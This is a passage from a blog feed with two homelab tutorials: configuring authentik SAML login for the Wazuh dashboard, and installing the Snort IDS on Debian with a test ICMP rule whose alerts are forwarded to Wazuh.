<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699533521531/41a34e47-60d7-454c-8a92-07ae0cd4a96c.png" alt class="image--center mx-auto" /></p>
<p>Next up click the blue <code>Create</code> button in the middle of the screen.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699533509127/7ddb86d7-a0db-48f9-b588-31f7a2b1eeeb.png" alt class="image--center mx-auto" /></p>
<p>Add a <code>username</code> and leave the rest as default.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699533817720/3e2f8ece-1cb4-4ec9-9728-53fffaeb8d7d.png" alt class="image--center mx-auto" /></p>
<p>Then create a group and add the <code>wazuh-admin</code> user into it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699533969809/ee7545be-e909-4784-ba5b-b1d7fe370187.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699533944055/b6645b61-631d-4c44-82ba-5cf0237a3b1b.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-authentik-provider">authentik provider</h3>
<p>Now is the time to create a provider - providers are essentially beacons for external applications to ask for the user details and validate the tokens the user provides after login.</p>
<p>We can find them under <code>Applications -&gt; Providers</code> and once again clicking the big blue button in the middle of the screen brings us to the form to create a new one.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699534372247/1d38bba2-cfd8-4da5-b7c1-f22f87989217.png" alt class="image--center mx-auto" /></p>
<p>We need to choose SAML as the provider type.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699534164773/278bf0a9-20ee-48ed-a7d0-80569bdf6854.png" alt class="image--center mx-auto" /></p>
<p>Then give it a descriptive name - e.g. <code>SAML</code></p>
<p>select</p>
<ul>
<li><p>Authentication Flow (e.g. <code>default-authentication-flow</code>)</p>
</li>
<li><p>Authorization Flow (e.g. <code>default-provider-authorization-implicit-constent</code>)</p>
</li>
<li><p>set the ACS URL (<code>https://&lt;wazuh_ip_or_hostname&gt;/_opendistro/_security/saml/acs</code>)</p>
</li>
<li><p>issuer (<code>wazuh-saml</code>)</p>
</li>
<li><p>Service Provider Binding - <code>Post</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699534619131/99687eab-d913-496e-a866-2fbc46285ad6.png" alt class="image--center mx-auto" /></p>
<p>Leave all the rest in the <code>advanced protocol settings</code> as default for now and click on "Finish".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699536212063/ed3a9865-cd99-49a5-8c88-edbbe7f3f036.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699536220302/2acb16a2-d3f9-4794-9bea-c3b03f0457ee.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699536230073/27c5462c-115f-4c91-9a49-41c13541c4b9.png" alt class="image--center mx-auto" /></p>
<p>Next step is a property mapping - this is a function that takes information from the authentik users (e.g. username, email, groups) and provides it to the external service (wazuh).</p>
<p>We will use this to map group memberships (e.g. <code>wazuh-admins</code>) as backend roles that are used for RBAC (Role-based Access Control) in wazuh.</p>
<p>Without further ado - here is how to create a property mapping - under <code>Customisation -&gt; Property Mappings</code>. Select the type and add the following details:</p>
<p>Name: <code>wazuh property mapping</code></p>
<p>SAML Attribute Role: <code>Roles</code></p>
<p>Expression:</p>
<pre><code class="lang-python"><span class="hljs-keyword">if</span> ak_is_group_member(request.user, name=<span class="hljs-string">"wazuh-admins"</span>):
  <span class="hljs-keyword">yield</span> <span class="hljs-string">"wazuh-admin"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699536507966/8a2ad362-d9ed-4ef1-a6d4-78795604f294.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699536513360/238e1b8e-9fa6-4f52-aed8-27db99e13b95.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-certificate-setup">Certificate Setup</h2>
<p>We want to secure our communication with SAML, and to do that we need a certificate that is ideally only used for the SAML setup.</p>
<p>Lucky for us authentik has an option to generate and import them directly - under <code>System -&gt; Certificates</code> you can find the option to <code>Generate</code> a new one.</p>
<p>Give it a <code>name</code> and set the validity period as <code>365</code> days and click <code>Generate</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699538105448/10576e80-c78a-4feb-8617-fdc7215c74ec.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699538163363/8b324f27-5e2c-4c1e-bdb9-c2817ada722c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-adjust-saml-provider">Adjust SAML Provider</h2>
<p>Select the SAML provider and then click the <code>Edit</code> button - Then under <code>Advanced protocol settings</code> select the correct <code>Signing Certificate</code> and make sure to also select the <code>wazuh property mapping</code> in the <code>Property mappings.</code></p>
<p>Once that is done push the <code>Update</code> button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699538203465/22b24e7d-a7df-47b4-8cca-1ec74e0df04d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699538255784/f3be82ef-a88a-43d0-88ba-9453b13704cd.png" alt class="image--center mx-auto" /></p>
<p>The last step on the authentik side is to create an application that uses our SAML provider.</p>
<h2 id="heading-authentik-application">authentik application</h2>
<p>You can do that via the nagivation bar <code>Applications -&gt; Applications</code> - <code>Create</code> and setting the following parameters:</p>
<ul>
<li><p>Name: <code>wazuh-saml</code></p>
</li>
<li><p>Slug: <code>wazuh-saml</code></p>
</li>
<li><p>Provider: <code>SAML</code></p>
</li>
<li><p>Policy Engine: <code>any</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699538900121/361c7ca4-f199-4d49-b276-a7cfc9f8b00e.png" alt class="image--center mx-auto" /></p>
<p>Leave the UI as default or upload a logo you would like to use to identify the application in the dashboard - e.g. <a target="_blank" href="https://avatars.githubusercontent.com/u/13752566?s=200&amp;v=4">https://avatars.githubusercontent.com/u/13752566?s=200&amp;v=4</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699539097716/4d59f966-a2d5-4a69-bb29-9e7c7908b53e.png" alt class="image--center mx-auto" /></p>
<p>The last step is to download the metadata file from the provider - or as an alternative copy the download url.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699553343216/963de318-d110-4a12-a9c0-5fa447ab4d2a.png" alt class="image--center mx-auto" /></p>
<p>Nice - that wraps up the authentik part. Now to wazuh.</p>
<h2 id="heading-wazuh-setup-for-saml">wazuh setup for SAML</h2>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">IF you have not yet installed wazuh in a Virtual machine - <a target="_blank" href="https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide">https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide</a></div>
</div>

<p>The first file that we have to adjust is <code>/etc/wazuh-indexer/opensearch-security/config.yml</code> - open it with your favorite text editor (e.g. <code>nano</code>) and add the information below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699556780873/7eca678f-a701-4495-80be-1cbb117a85c5.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-yaml"><span class="hljs-attr">authc:</span>
  <span class="hljs-attr">basic_internal_auth_domain:</span>
    <span class="hljs-attr">description:</span> <span class="hljs-string">"Authenticate SAML against internal users database"</span>
    <span class="hljs-attr">http_enabled:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">transport_enabled:</span> <span class="hljs-literal">true</span> 
    <span class="hljs-attr">order:</span> <span class="hljs-number">0</span>
    <span class="hljs-attr">http_authenticator:</span>
      <span class="hljs-attr">type:</span> <span class="hljs-string">basic</span> 
      <span class="hljs-attr">challenge:</span> <span class="hljs-literal">false</span>
    <span class="hljs-attr">authentication_backend:</span>
      <span class="hljs-attr">type:</span> <span class="hljs-string">intern</span> 
  <span class="hljs-attr">saml_auth_domain:</span>
    <span class="hljs-attr">http_enabled:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">transport_enabled:</span> <span class="hljs-literal">false</span>
    <span class="hljs-attr">order:</span> <span class="hljs-number">1</span>
    <span class="hljs-attr">http_authenticator:</span>
      <span class="hljs-attr">type:</span> <span class="hljs-string">saml</span> 
      <span class="hljs-attr">challenge:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">config:</span> 
        <span class="hljs-attr">idp:</span>
          <span class="hljs-attr">metadata_file:</span> <span class="hljs-string">"/etc/wazuh-indexer/opensearch-security/idp-metadata.xml"</span>
          <span class="hljs-attr">entity_id:</span> <span class="hljs-string">"wazuh-saml"</span>
        <span class="hljs-attr">sp:</span>
          <span class="hljs-attr">entity_id:</span> <span class="hljs-string">"wazuh-saml"</span>
        <span class="hljs-attr">kibana_url:</span> <span class="hljs-string">"https://&lt;YOUR_WAZUH_IP_HOSTNAME&gt;/"</span>
        <span class="hljs-attr">roles_key:</span> <span class="hljs-string">Roles</span>
        <span class="hljs-attr">exchange_key:</span> <span class="hljs-string">"MIIGBDCCA+SQs..."</span>
    <span class="hljs-attr">authentication_backend:</span>
      <span class="hljs-attr">type:</span> <span class="hljs-string">noop</span>
</code></pre>
<p>The lines that are variable are -</p>
<ul>
<li><p><code>idp.metadata_file</code> - the location/name you gave the downloaded <code>metadata.xml</code> file - I would recommend putting it in <code>/etc/wazuh-indexer/opensearch-security/</code> and naming it <code>idp-metadata.xml</code>.</p>
<ul>
<li><p>keep in mind that you need to change ownership and rights on the file to make sure it is properly usable by wazuh</p>
</li>
<li><pre><code class="lang-bash">                chown wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/opensearch-security/idp-metadata.xml

                chmod 640 /etc/wazuh-indexer/opensearch-security/idp-metadata.xml
</code></pre>
</li>
</ul>
</li>
<li><p><code>idp.entity_id</code> - if you followed this guide it is <code>wazuh-saml</code> - you can also see it in the metadata file</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699557835881/43c50644-447c-4e13-b253-ce0ba0ee6c56.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><code>sp.entity_id</code> - if you followed this guide this is <code>wazuh-saml</code></p>
</li>
<li><p><code>sp.kibana_url</code> - your wazuh dashboard url - e.g. <code>https://wazuh.mydomain.com</code> or <code>https://&lt;IP_OF_YOUR_WAZUH_VM</code></p>
</li>
<li><p><code>roles_key</code> - this is the name you entered into the role mapping - if you followed this guide it is called <code>Roles</code></p>
</li>
<li><p>and <code>exchange_key</code> - copy it from the metadata file - you can find it between the <code>&lt;ds:X509Certificate&gt;</code> and <code>&lt;/ds:X509Certificate&gt;</code> tags, usually starts with <code>MII</code> - dont forget the <code>"</code> around the key</p>
</li>
</ul>
<p>save the file and run the <code>securityadmin.sh</code> script from the following location:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> JAVA_HOME=/usr/share/wazuh-indexer/jdk/ &amp;&amp; bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh -f /etc/wazuh-indexer/opensearch-security/config.yml -icl -key /etc/wazuh-indexer/certs/admin-key.pem -cert /etc/wazuh-indexer/certs/admin.pem -cacert /etc/wazuh-indexer/certs/root-ca.pem -h localhost -nhnv
</code></pre>
<p>if all is well, it should finish with <code>Done with success</code> like below</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699558756208/895334c7-b4f3-4ec9-a13c-a74437775cff.png" alt class="image--center mx-auto" /></p>
<p>The next step is to adjust the <code>/etc/wazuh-indexer/opensearch-security/roles_mapping.yml</code></p>
<p>open the file and scroll down until you see the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699558882658/2094c09c-98b5-4005-b620-7cb9f6e6c04f.png" alt class="image--center mx-auto" /></p>
<p>Now, remember the roles mapping you created earlier? In it you defined a group and the corresponding backend role that should be returned - if you followed this tutorial - it is <code>wazuh-admin</code>.</p>
<p>This role needs to be added to the <code>roles_mapping.yml</code> now like below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699558859745/296a33d9-57a7-4a8b-ac86-fa2e65f7e178.png" alt class="image--center mx-auto" /></p>
<p>Save the file, and run the <code>securityadmin.sh</code> again but this time with the <code>roles_mapping.yml</code> as the changed file.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> JAVA_HOME=/usr/share/wazuh-indexer/jdk/ &amp;&amp; bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh -f /etc/wazuh-indexer/opensearch-security/roles_mapping.yml -icl -key /etc/wazuh-indexer/certs/admin-key.pem -cert /etc/wazuh-indexer/certs/admin.pem -cacert /etc/wazuh-indexer/certs/root-ca.pem -h localhost -nhnv
</code></pre>
<p>once again, if all goes well it should return - <code>Done with success</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699561382371/429073c2-8e7e-49bd-8eea-b951f20925bf.png" alt class="image--center mx-auto" /></p>
<p>Now the last three steps - first we check <code>/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml</code></p>
<p>The line that interests us is the last one - <code>run_as</code> if that one is set to <code>true</code> we can change it to <code>false</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699561771704/51a1ff51-9510-4273-86d4-8867eb0e0252.png" alt class="image--center mx-auto" /></p>
<p>The penultimate task is to add a role to wazuh - open the dashboard - click on the arrow next to the wazuh logo then on <code>Security</code> and <code>Roles mapping</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699562352409/787bda13-1390-455e-a530-f4304edf6f2a.png" alt class="image--center mx-auto" /></p>
<p>We will now add a new role mapping - give it any descriptive name add the respective <code>Roles</code> -&gt; in this case <code>administrator</code> and add a new custom rule at the bottom that matches (<code>FIND</code>) the <code>user_name</code> to <code>wazuh-admin</code>.</p>
<p>Save the role mapping.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699562344492/ce69dd50-696f-41e9-867f-6c068299324b.png" alt class="image--center mx-auto" /></p>
<p>The last step is to add saml authentication to <code>/etc/wazuh-dashboard/opensearch_dashboards.yml</code></p>
<p>Add the following lines to the file:</p>
<pre><code class="lang-bash">opensearch_security.auth.type: <span class="hljs-string">"saml"</span>
server.xsrf.allowlist: [<span class="hljs-string">"/_opendistro/_security/saml/acs"</span>, <span class="hljs-string">"/_opendistro/_security/saml/logout"</span>, <span class="hljs-string">"/_opendistro/_security/saml/acs/idpinitiated"</span>]
opensearch_security.session.keepalive: <span class="hljs-literal">false</span>
</code></pre>
<p>after the change, the file could look something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699562718133/b4548d02-b338-4d74-b438-df965fe44a3d.png" alt class="image--center mx-auto" /></p>
<p>now restart the wazuh-dashboard service and when you visit the wazuh dashboard you will be greeted by the authentik login.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699563048909/1c3f8b85-452b-4a50-8a7a-ae4dd5c223f6.png" alt class="image--center mx-auto" /></p>
<p>if you login as the <code>wazuh-admin</code> user you will be forwarded to wazuh as <code>wazuh-admin</code> 🎉🎉🎉</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699563156563/fff4942f-60d8-43e6-b12e-1d12af730650.png" alt class="image--center mx-auto" /></p>
<p><em>Thank you to Videothek for the brain teaser - this one took the better part of 4 weeks to figure out correctly because there was no documentation how to achieve this.</em></p>
<p>If you like this content - you can check out <a target="_blank" href="https://maikroservice.com/email">https://maikroservice.com/email</a> for more content like this.</p>
]]></content:encoded></item><item><title><![CDATA[Step-by-Step Guide to Setting Up Snort as Your HomeLab IDS with wazuh (SIEM) Integration in 2024]]></title><description><![CDATA[IDS/IPS systems - Intrusion Detection / Prevention Systems - are part of any well-established organizational network. If security is a priority you need an IDS/IPS sooner rather than later.
Commonly used open source solutions for IDS are snort and su...]]></description><link>https://maikroservice.com/step-by-step-guide-to-setting-up-snort-as-your-homelab-ids-with-wazuh-siem-integration-in-2023</link><guid isPermaLink="true">https://maikroservice.com/step-by-step-guide-to-setting-up-snort-as-your-homelab-ids-with-wazuh-siem-integration-in-2023</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 16 Oct 2023 20:50:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1697489421689/33197e07-f5a9-4014-865b-0baba52f8f89.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>IDS/IPS systems - Intrusion Detection / Prevention Systems - are part of any well-established organizational network. If security is a priority you need an IDS/IPS sooner rather than later.</p>
<p>Commonly used open source solutions for IDS are snort and suricata, today we will look at snort and setting it up from scratch in your home lab.</p>
<p>Cool, but how does and IDS work actually?</p>
<h2 id="heading-overview-what-is-an-idsips">Overview - What is an IDS/IPS?</h2>
<p>The Intrusion Detection System analyzes all traffic either via port mirroring - essentially, cloning all packets and analyzing them - or acting like a gateway, which is similar to airport security, everyone needs to pass before they go in/out.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697454786266/4d83b112-3c02-4f8b-8e6c-d5f064818572.png" alt class="image--center mx-auto" /></p>
<p>The software then compares the data inside the packets to predefined rules - these can range from regular expressions to more sophisticated integrations - essentially they all do the same though.</p>
<p>They compare data to known malicious indicators.</p>
<h2 id="heading-the-plan">The plan</h2>
<p>Today we will do the following things:</p>
<ol>
<li><p>install snort on debian virtual machine</p>
</li>
<li><p>configure snort</p>
</li>
<li><p>install wazuh agent</p>
</li>
<li><p>forward snort logs to wazuh</p>
</li>
<li><p><em>optional</em> - download and install rules from emerging threats</p>
</li>
</ol>
<p>Are you ready? Ok, without further ado - here we go.</p>
<h2 id="heading-1-install-snort-on-debian">1 - Install snort on debian</h2>
<p>I assume in this post that you have a virtual machine with debian on it, should you want support in how to set this up check out this post:</p>
<p><a target="_blank" href="https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide">https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide</a></p>
<p>Start the Virtual Machine - Once the VM is booted the installation process for snort is a single command inside your terminal:</p>
<pre><code class="lang-bash">sudo apt-get install snort -y
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697455838361/d88b207d-2892-4221-a027-7f4678c9fd5b.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">UPDATE 2024: IF your terminal tells you that it is <code>unable to locate package snort</code> you need to add the ubuntu repository to your apt lists.</div>
</div>

<h3 id="heading-adding-the-ubuntu-repository-to-your-apt-lists">Adding the ubuntu repository to your apt lists</h3>
<p>If you see this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729526252850/42bdf24b-7424-4a8f-abda-da1ecbd99286.png" alt class="image--center mx-auto" /></p>
<p>Fear not - we have a solution. Recently, debian appears to have removed snort from it’s repositories - so now we need to add a new repository manually to install snort (another option would be to install from source, but that is more brain-intensive and not part of this post).</p>
<p>The first file you need to open is <code>/etc/apt/sources.list</code>. This file contains all the repositories that <code>apt</code> is able to query for packages. If you try to install one, which is not available, <code>apt</code> tells you that it cannot find the package.</p>
<p><em>AHHH, so that is what happened here?!</em></p>
<p>Exactly. Open the sources file e.g. with <code>vim</code> , <code>nano</code> or your favorite text editor (make sure you are using sudo rights or are logged in as root)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729527086236/cc98acc2-8c80-4ca2-867c-4d41e88fffc1.png" alt class="image--center mx-auto" /></p>
<p>and add the following line to the bottom:</p>
<pre><code class="lang-plaintext">deb http://de.archive.ubuntu.com/ubuntu/ jammy main restricted universe multiverse
</code></pre>
<p>Afterwards, your sources.list should look something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729527571881/d0f1e11a-cf8d-4373-9de1-fe658fd49335.png" alt class="image--center mx-auto" /></p>
<p>Great, close the file (make sure to save it!) and update your local apt cache by running <code>sudo apt-get update</code></p>
<p><em>Umm… this fails?!</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729527668995/6e32a2bb-d4b6-473c-913a-9713a196a8ab.png" alt class="image--center mx-auto" /></p>
<p>Aha! Apparently, it’s not as simple as adding this one line, we also need to add a public key so that our local system can verify the integrity of the remote apt cache.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">I highlighted the necessary public key identifier in the screenshot above (<code>871920D1991BC93C</code>), make sure you copy and paste the value you see in your terminal for the next command</div>
</div>

<p>Lucky for us this is a single command where you need to add your public key identifier:</p>
<pre><code class="lang-plaintext">apt-key adv --keyserver keyserver.ubuntu.com --recv-keys &lt;the_public_key_identifier_you_copied&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729526530040/7af8f075-726a-4c12-95bc-9f5a582ead01.png" alt class="image--center mx-auto" /></p>
<p>Wonderful, now try to update your apt cache again with: <code>sudo apt-get update</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729528005860/db855c9b-2564-4f85-87d5-7238306a2ac0.png" alt class="image--center mx-auto" /></p>
<p>BINGOOOOO. That worked, and now you can install snort with:</p>
<pre><code class="lang-plaintext">sudo apt-get install snort -y
</code></pre>
<p>Once the prerequesites are installed snort might ask you to configure the starting setup properly - the first thing you have to do is enter your local network that needs scanning.</p>
<p>You need to use the CIDR notation, if you are unsure what that is ask your favorite search engine or GPT buddy for support with <code>subnetting</code> - or leave me a comment and I will try to answer as many as possible!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697455945812/0a52ce18-fbd2-4f92-8d1f-1f2e325c8294.png" alt class="image--center mx-auto" /></p>
<p>Once that is done make sure to check if snort was installed properly by running <code>snort -v</code> - if you receive <code>bash: snort: command not found</code> make sure you are in a privileged context (e.g. <code>sudo snort -v</code> or <code>su - &amp;&amp; snort -v</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697456423913/2accd354-1d44-40cb-842e-85323edc6ff4.png" alt class="image--center mx-auto" /></p>
<p>Great, that was the installation process of snort - you did very well 🤘.</p>
<p>Now we need some configuration to make sure snort works properly.</p>
<h2 id="heading-2-snort-configuration">2 - snort configuration</h2>
<p>By default snort (2.9.xx) has the following interesting locations - <code>/var/log/snort</code> and <code>/etc/snort</code>.</p>
<p>The former holds all the logs that snort produces, the second one holds the configuration file - <code>snort.conf</code> we are interested in.</p>
<p>Open the <code>/etc/snort/snort.conf</code> file with your favorite text editor e.g. <code>nano /etc/snort/snort.conf</code>.</p>
<p>Now scroll down to <code>Step #6</code> and find the lines below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697457187171/886eb78f-b4ab-4375-af59-7e020a57fe05.png" alt class="image--center mx-auto" /></p>
<p>You need to change the following line(s) and save after:</p>
<pre><code class="lang-bash">output alert_fast: snort.alert.fast

<span class="hljs-comment"># change it to</span>
output alert_fast: snort.alert

<span class="hljs-comment"># optional but suggested, remove the # before </span>
<span class="hljs-comment"># the #output alert_syslog: LOT_AUTH LOG_ALERT line</span>
</code></pre>
<p>Great, we adapted the configuration file, but umm...</p>
<p><em>Why?</em><br /><em>What does that change do?</em></p>
<p>Great questions - The line <code>alert_syslog: LOG_AUTH LOG_ALERT</code> tells snort to log stuff related to <code>authentication</code> and <code>alerts</code> via syslog.</p>
<p><em>Cool but umm... What's syslog?</em></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Syslog is a standard for system logging which you can find under <code>/var/log/syslog</code> on ubuntu/debian derivates and in <code>/var/log/messages</code> for CentOS derivates like amazon linux.</div>
</div>

<p><em>Why is this important?</em></p>
<p>Your Security Information and Event Management System (SIEM) has integrations for syslog so events that are inside the syslog will by default be connected to your SIEM already - win &lt;&gt; win situation!</p>
<p><em>Ok cool, but what about the other change we made to the configuration file?</em></p>
<p>That one took me a while to find/figure out - By default snort stores log data in pcap format - this is a binary format that e.g. Wireshark uses to store network traffic information.</p>
<p>Great for the computer, not so great for our SIEM - because it cannot read the format 😅</p>
<p>What we did with <code>output alert_fast: snort.alert</code> is the following:</p>
<p>We use the <code>alert_fast</code> module which stores data in readable text (good for us + SIEM) and tell it to use the <code>snort.alert</code> data stream (all the alert data) for logging - documentation (2.6.2): <a target="_blank" href="http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node21.html#SECTION00363000000000000000">http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node21.html#SECTION00363000000000000000</a></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">There is also another option called <code>alert_full</code> which logs everything inside the packet. This option has a large issue though, it is super slow. That means if you have any network with more than 1-2 idle machines you will be in for a rough one, because the conversion is so sloooooooooow. <code>DONT USE THIS IN PRODUCTION!</code></div>
</div>

<p>Great, now our snort install is almost ready to throw alerts. The penultimate step is to restart snort.</p>
<pre><code class="lang-bash">sudo systemctl restart snort
</code></pre>
<p>...and then...</p>
<p>You should be able to see one or two new files inside <code>/var/log/snort</code> called <code>snort.alert.fast</code> and maybe even <code>snort.alert.fast.1</code> - this is good, it is exactly what we want!</p>
<p>The only thing left is to create a simple test rule. Let's do that next.</p>
<h3 id="heading-rules-and-tests">Rules and Tests</h3>
<p>We will now create a rule that watches for ICMP (ping) traffic and alerts when it finds any. Disclaimer - Since this is a fairly common interaction inside the network you will see a lot of alerts - do not use this in production unless you know what you are doing 🤘</p>
<p>Rules are stored under <code>/etc/snort/rules</code> - the one we are looking for is called <code>local.rules</code>.</p>
<p>We need to add the following line:</p>
<pre><code class="lang-bash">alert icmp any any -&gt; any any (msg:<span class="hljs-string">"ICMP connection attempt:"</span>; sid:1000010; rev:1;)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697458652770/49143a23-191c-41ef-805e-4581df0c57a9.png" alt class="image--center mx-auto" /></p>
<p>This means back to front - we are in <code>revision:1</code> , the unique id of our rule is <code>1000010</code> and the message we will put into the log is <code>ICMP connection attempt:</code> followed by the actual information from the packet.</p>
<p>Save the changes and then we can test the rule.</p>
<h4 id="heading-testing-local-rules">Testing local rules</h4>
<p>Lucky for us snort has an integrated feature that allows us to test newly created/changed rules. We can use:</p>
<pre><code class="lang-bash">snort -q -A console -c /etc/snort/rules/local.rules
</code></pre>
<p>to test the rule we just created - this will run snort and wait for traffic that matches the rule. If you don't see any after a minute or two you can create it yourself.</p>
<pre><code class="lang-bash">ping -c 20 &lt;IP_OF_SNORT_VM&gt;
</code></pre>
<p>This sends 20 ICMP requests to the snort VM and will trigger the rule 20x 😈 - results might look similar to (without the typo hopefully 😅):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697459204955/054e94c9-9039-4c39-9012-57dca402f938.png" alt class="image--center mx-auto" /></p>
<p>Cool - we have a working rule and a running IDS - now we install and connect our <em>Security Information and Event Management System (SIEM)</em>.</p>
<h2 id="heading-wazuh-linux-agent-installation">wazuh linux agent installation</h2>
<p>In order to install the wazuh agent you can follow the exact steps here: <a target="_blank" href="https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide#heading-install-linux-agent">https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide#heading-install-linux-agent</a></p>
<p>Afterwards, your agent should show up in the wazuh dashboard but it will not have any IDS alerts (yet). Because, this is what we cover in the next step!</p>
<h3 id="heading-snort-ltgt-wazuh-connection">snort &lt;&gt; wazuh connection</h3>
<p>In order to see the alerts in wazuh we need to modify the <code>/var/ossec/etc/ossec.conf</code> file + add a new <code>localfile</code> entry like below and save the file.</p>
<pre><code class="lang-bash">&lt;!-- snort --&gt;
&lt;localfile&gt;
  &lt;log_format&gt;snort-full&lt;/log_format&gt;
  &lt;location&gt;/var/<span class="hljs-built_in">log</span>/snort/snort.alert.fast&lt;/location&gt;
&lt;/localfile&gt;
</code></pre>
<p>You can place the section right below the <code>&lt;!-- log analysis --&gt;</code> part in the configuration file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697459912646/c4cf5d67-ffbc-4a9a-bc69-ff8ea6445429.png" alt class="image--center mx-auto" /></p>
<p>That was it, the connection to wazuh is now setup and we only need to restart the wazuh agent to finish the integration.</p>
<pre><code class="lang-bash">sudo systemctl restart wazuh-agent
</code></pre>
<p>If this throws no errors you are good to go.</p>
<p>Go check your wazuh dashboard and click on the eye symbol next to the agent at the bottom right.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697487727115/bc8fa3fd-c4cd-4312-8578-3aaa82c5b349.png" alt class="image--center mx-auto" /></p>
<p>This will bring you to the following overview. This dashboard holds all the events that your agent has collected.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697488180388/53fa57d5-deed-4076-9469-e9782e3ce3e6.png" alt class="image--center mx-auto" /></p>
<p><em>But... where are my IDS events?!</em></p>
<p>Those are behind the next click - security events in the top left.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697488465426/62a3b380-58c4-428a-a867-20a24a1e20b8.png" alt class="image--center mx-auto" /></p>
